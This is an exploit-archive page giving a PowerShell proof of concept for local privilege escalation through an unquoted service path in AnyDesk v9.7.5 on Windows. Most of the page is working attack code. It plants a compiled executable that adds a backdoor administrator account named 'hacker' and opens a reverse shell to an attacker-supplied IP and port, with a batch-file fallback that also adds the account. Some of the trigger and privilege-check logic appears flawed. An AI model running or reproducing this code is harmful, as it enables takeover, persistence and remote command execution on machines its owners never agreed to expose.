Share
## https://sploitus.com/exploit?id=PACKETSTORM:223513
==================================================================================================================================
| # Title : AnyDesk v9.7.5 Unquoted Service Path Privilege Escalation to SYSTEM |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://anydesk.com/en |
==================================================================================================================================
[+] Summary : This script exploits the unquoted service path vulnerability in AnyDesk to escalate privileges to SYSTEM.
[+] POC :
<#
.SYNOPSIS
.EXAMPLE
.\AnyDesk_LPE_fixed.ps1
.\AnyDesk_LPE_fixed.ps1 -AttackerIP 10.0.0.5 -AttackerPort 4444
.\AnyDesk_LPE_fixed.ps1 -Cleanup
#>
param(
[string]$AttackerIP = "127.0.0.1",
[int]$AttackerPort = 4444,
[string]$PayloadPath = "",
[switch]$Cleanup,
[switch]$RestoreService,
[switch]$Verbose
)
function Write-ColorOutput {
param(
[string]$Message,
[string]$Color = "White"
)
$colors = @{
"SUCCESS" = "Green"
"ERROR" = "Red"
"WARNING" = "Yellow"
"INFO" = "Cyan"
"DEBUG" = "DarkGray"
}
$colorName = if ($colors.ContainsKey($Color)) { $colors[$Color] } else { $Color }
Write-Host "[$(Get-Date -Format 'HH:mm:ss')] $Message" -ForegroundColor $colorName
}
function Test-WriteAccess {
param([string]$DirectoryPath)
try {
if (-not (Test-Path $DirectoryPath)) {
return $false
}
$testFile = Join-Path $DirectoryPath ".write_test_$(Get-Random).tmp"
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force -ErrorAction SilentlyContinue
return $true
} catch {
return $false
}
}
function Test-PathWritable {
param([string]$FilePath)
$directory = [System.IO.Path]::GetDirectoryName($FilePath)
if (-not (Test-Path $directory)) {
return $false
}
if (Test-WriteAccess $directory) {
return $true
}
try {
$acl = Get-Acl $directory -ErrorAction SilentlyContinue
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
foreach ($access in $acl.Access) {
if ($access.IdentityReference.Value -eq $currentUser.Value -or
$access.IdentityReference.Value -eq "BUILTIN\Users") {
if (($access.FileSystemRights -band [System.Security.AccessControl.FileSystemRights]::Write) -and
$access.AccessControlType -eq "Allow") {
return $true
}
}
}
} catch { }
return $false
}
function Test-SystemPrivileges {
$identity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
if ($identity.User.Value -eq "S-1-5-18") {
return $true
}
$principal = New-Object System.Security.Principal.WindowsPrincipal($identity)
return $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
}
function Find-AnyDeskService {
$services = Get-CimInstance -ClassName Win32_Service
$possibleNames = @("anydesk", "AnyDeskService", "AnyDesk", "AD Service")
foreach ($name in $possibleNames) {
$service = $services | Where-Object {
$_.Name -like "*$name*" -or
$_.DisplayName -like "*AnyDesk*" -or
$_.PathName -like "*AnyDesk*"
}
if ($service) {
$binPath = $service.PathName -replace '^"|"$', ''
$executable = ($binPath -split ' ')[0]
if (Test-Path $executable) {
$versionInfo = Get-ItemProperty -Path $executable -ErrorAction SilentlyContinue
if ($versionInfo) {
$version = $versionInfo.VersionInfo.ProductVersion
Write-ColorOutput "Found AnyDesk version: $version" "INFO"
}
}
return $service
}
}
return $null
}
function Test-UnquotedServicePath {
param([object]$Service)
if ($Service -eq $null) { return $false }
$binPath = $Service.PathName
Write-ColorOutput "Binary path: $binPath" "DEBUG"
$exePath = if ($binPath -match '^"([^"]*)"') {
$matches[1]
} else {
($binPath -split ' ')[0]
}
Write-ColorOutput "Executable path: $exePath" "DEBUG"
if (-not (Test-Path $exePath -PathType Leaf)) {
Write-ColorOutput "Executable not found" "WARNING"
return $false
}
$isUnquoted = ($exePath -match " " -and $binPath -notmatch '^".*"$')
if (-not $isUnquoted) {
return $false
}
$directory = [System.IO.Path]::GetDirectoryName($exePath)
if (Test-WriteAccess $directory) {
Write-ColorOutput "Write access confirmed to $directory" "SUCCESS"
return $true
}
Write-ColorOutput "No write access to $directory" "WARNING"
return $false
}
function Get-VulnerablePaths {
param([object]$Service)
$vulnerablePaths = @()
if ($Service -eq $null) { return $vulnerablePaths }
$binPath = $Service.PathName -replace '^"|"$', ''
$exePath = ($binPath -split ' ')[0]
if ($exePath -notmatch " ") { return $vulnerablePaths }
$current = $exePath
while ($current) {
$parent = [System.IO.Path]::GetDirectoryName($current)
$filename = [System.IO.Path]::GetFileName($current)
if ([string]::IsNullOrEmpty($filename) -or $filename -eq $current) { break }
if ($filename -match " " -and (Test-Path $parent -PathType Container)) {
$execName = ($filename -split ' ')[0]
$vulnPath = Join-Path $parent "$execName.exe"
if (Test-PathWritable $vulnPath) {
Write-ColorOutput "Found vulnerable path: $vulnPath" "INFO"
$vulnerablePaths += $vulnPath
}
}
$current = $parent
}
return $vulnerablePaths
}
function New-MaliciousExecutable {
param(
[string]$Path,
[string]$AttackerIP,
[int]$AttackerPort,
[string]$CustomPayloadPath
)
if ($CustomPayloadPath -and (Test-Path $CustomPayloadPath)) {
try {
Copy-Item -Path $CustomPayloadPath -Destination $Path -Force -ErrorAction Stop
Write-ColorOutput "Custom payload copied to $Path" "SUCCESS"
return $true
} catch {
Write-ColorOutput "Failed to copy custom payload: $($_.Exception.Message)" "ERROR"
# Fall through to create our own
}
}
Write-ColorOutput "Creating malicious executable: $Path" "INFO"
$csharpCode = @"
using System;
using System.Diagnostics;
using System.Net.Sockets;
using System.Text;
class Program {
static void Main() {
try {
ProcessStartInfo psi = new ProcessStartInfo {
FileName = "cmd.exe",
Arguments = "/c net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add",
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
};
Process p = Process.Start(psi);
p.WaitForExit();
TcpClient client = new TcpClient("$AttackerIP", $AttackerPort);
NetworkStream stream = client.GetStream();
byte[] buffer = new byte[4096];
while (true) {
int bytesRead = stream.Read(buffer, 0, buffer.Length);
if (bytesRead == 0) break;
string command = Encoding.ASCII.GetString(buffer, 0, bytesRead);
ProcessStartInfo psi2 = new ProcessStartInfo {
FileName = "cmd.exe",
Arguments = "/c " + command,
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
};
Process p2 = Process.Start(psi2);
string output = p2.StandardOutput.ReadToEnd();
p2.WaitForExit();
stream.Write(Encoding.ASCII.GetBytes(output), 0, output.Length);
}
} catch { }
}
}
"@
# Find C# compiler
$cscPaths = @(
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe",
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
)
$cscPath = $null
foreach ($path in $cscPaths) {
if (Test-Path $path) {
$cscPath = $path
break
}
}
if (-not $cscPath) {
Write-ColorOutput "C# compiler not found. Creating simple batch file instead." "WARNING"
$batchContent = "@echo off`r`nwhoami > C:\temp\anydesk_lpe.txt`r`nnet user hacker P@ssw0rd123! /add`r`nnet localgroup administrators hacker /add"
[System.IO.File]::WriteAllText($Path, $batchContent)
return (Test-Path $Path)
}
$tempCS = [System.IO.Path]::GetTempFileName() + ".cs"
[System.IO.File]::WriteAllText($tempCS, $csharpCode)
& $cscPath /out:"$Path" /target:exe $tempCS 2>$null
Remove-Item $tempCS -Force -ErrorAction SilentlyContinue
return (Test-Path $Path)
}
function Stop-ServiceSafely {
param([string]$Name)
Write-ColorOutput "Stopping $Name service..." "INFO"
try {
$service = Get-Service -Name $Name -ErrorAction SilentlyContinue
if ($service -eq $null) { return $false }
# Check dependencies
$dependencies = Get-Service -Name $Name -DependentServices -ErrorAction SilentlyContinue
if ($dependencies.Count -gt 0) {
Write-ColorOutput "Service has $($dependencies.Count) dependencies" "DEBUG"
}
for ($i = 0; $i -lt 5; $i++) {
Stop-Service -Name $Name -Force -ErrorAction SilentlyContinue
Start-Sleep -Milliseconds 500
$svc = Get-Service -Name $Name -ErrorAction SilentlyContinue
if ($svc -and $svc.Status -eq "Stopped") {
Write-ColorOutput "Service stopped" "SUCCESS"
return $true
}
}
return $false
} catch {
Write-ColorOutput "Failed to stop service: $($_.Exception.Message)" "ERROR"
return $false
}
}
function Start-ServiceSafely {
param([string]$Name)
Write-ColorOutput "Starting $Name service..." "INFO"
try {
for ($i = 0; $i -lt 3; $i++) {
Start-Service -Name $Name -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
$svc = Get-Service -Name $Name -ErrorAction SilentlyContinue
if ($svc -and $svc.Status -eq "Running") {
Write-ColorOutput "Service started" "SUCCESS"
return $true
}
}
return $false
} catch {
Write-ColorOutput "Failed to start service: $($_.Exception.Message)" "ERROR"
return $false
}
}
function Remove-FileWithRetry {
param([string]$Path)
if (-not (Test-Path $Path)) { return $true }
for ($i = 0; $i -lt 5; $i++) {
try {
Remove-Item -Path $Path -Force -ErrorAction Stop
return $true
} catch {
if ($i -lt 4) {
Start-Sleep -Seconds 1
}
}
}
Write-ColorOutput "Could not delete $Path (may be in use)" "WARNING"
return $false
}
function Invoke-AnyDeskLPE {
Write-ColorOutput @"
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ AnyDesk v9.7.5 - Unquoted Service Path Privilege Escalation โ
โ Local Privilege Escalation to SYSTEM โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"@ "INFO"
Write-ColorOutput "Target: $env:COMPUTERNAME" "INFO"
Write-ColorOutput "User: $env:USERNAME" "INFO"
if (Test-SystemPrivileges) {
Write-ColorOutput "Already running as SYSTEM!" "SUCCESS"
return $true
}
$service = Find-AnyDeskService
if ($service -eq $null) {
Write-ColorOutput "AnyDesk service not found" "ERROR"
return $false
}
Write-ColorOutput "Service found: $($service.Name)" "SUCCESS"
if (-not (Test-UnquotedServicePath -Service $service)) {
Write-ColorOutput "Service is not vulnerable (path is quoted or no write access)" "ERROR"
return $false
}
$vulnerablePaths = Get-VulnerablePaths -Service $service
if ($vulnerablePaths.Count -eq 0) {
Write-ColorOutput "No vulnerable paths found" "ERROR"
return $false
}
Write-ColorOutput "Found vulnerable paths:" "SUCCESS"
foreach ($path in $vulnerablePaths) {
Write-ColorOutput " $path" "INFO"
}
$targetPath = $vulnerablePaths[0]
if (-not (New-MaliciousExecutable -Path $targetPath -AttackerIP $AttackerIP -AttackerPort $AttackerPort -CustomPayloadPath $PayloadPath)) {
Write-ColorOutput "Failed to create malicious executable" "ERROR"
return $false
}
Write-ColorOutput "Malicious executable created at: $targetPath" "SUCCESS"
if (Stop-ServiceSafely -Name $service.Name) {
Write-ColorOutput "Payload trigger initiated" "SUCCESS"
Start-Sleep -Seconds 5
if ($RestoreService) {
Start-ServiceSafely -Name $service.Name
}
} else {
Write-ColorOutput "Could not stop service. Manual trigger may be needed." "WARNING"
}
Write-ColorOutput "Exploit completed" "SUCCESS"
return $true
}
function Invoke-Cleanup {
Write-ColorOutput "Cleaning up..." "INFO"
$pathsToClean = @(
"C:\Program.exe",
"C:\Program Files.exe",
"C:\Program Files (x86)\AnyDesk\Program.exe"
)
foreach ($path in $pathsToClean) {
if (Test-Path $path) {
Remove-FileWithRetry -Path $path
}
}
Write-ColorOutput "Cleanup completed" "SUCCESS"
}
$result = Invoke-AnyDeskLPE
if ($Cleanup) {
Invoke-Cleanup
}
exit (-not $result)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================